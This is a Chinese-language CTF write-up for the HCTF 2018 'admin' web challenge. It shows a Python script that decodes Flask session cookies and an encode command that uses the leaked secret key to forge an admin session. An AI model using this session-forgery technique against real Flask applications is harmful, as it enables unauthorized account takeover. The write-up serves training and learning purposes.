[HCTF 2018]admin1(新源码链接)
·

打开页面源码

发现有2个页面login,register
本来想试试二次注入,发现没成功,登录进我创建的admin--+后,来到change密码部分,查看源码

打开这个链接【Flask 是一个用 Python 写的轻量级 Web 框架】
结果发现链接失效了,找到了别人的链接
https://github.com/greenhand011/BUUCTF--HCTF-2018-admin1
打开这个链接,下载源码
在模板里看到这个

xxxxxxxxx 在这里显然是占位符
F1: flask session 伪造
对于flask session伪造的详细介绍在
Python Web之flask session(小白友好)-CSDN博客
flask session存储在本地的cookie,因此可以尝试进行伪造。且flask仅仅对session数据进行了签名。即通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割。我们可以用脚本读出session内容
脚本如下
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
拿我们的session

运行脚本解密

看到name:admin--+,我们想把他变成name:admin也就是要伪造session
那我们就需要密钥
在config.py里发现了密钥

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
用GitHub的这个脚本来生成session
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'6c6ee5c5e5481609a0bda2e0166f6222eb130b376757195d1ae5f36f56a5cd9187b53057c3c3ede7133187cbd197f1b041afdfd0939e193e8faa2e2cb2d03ad0', 'csrf_token': b'64be5f3fba114bcbb6f35b892617da7eb796aa7e', 'image': b'8J79', 'name': 'admin', 'user_id': '10'}"

更换我们的session

这位佬还有几种解法,写的很详细,大家可以去看
更多推荐

所有评论(0)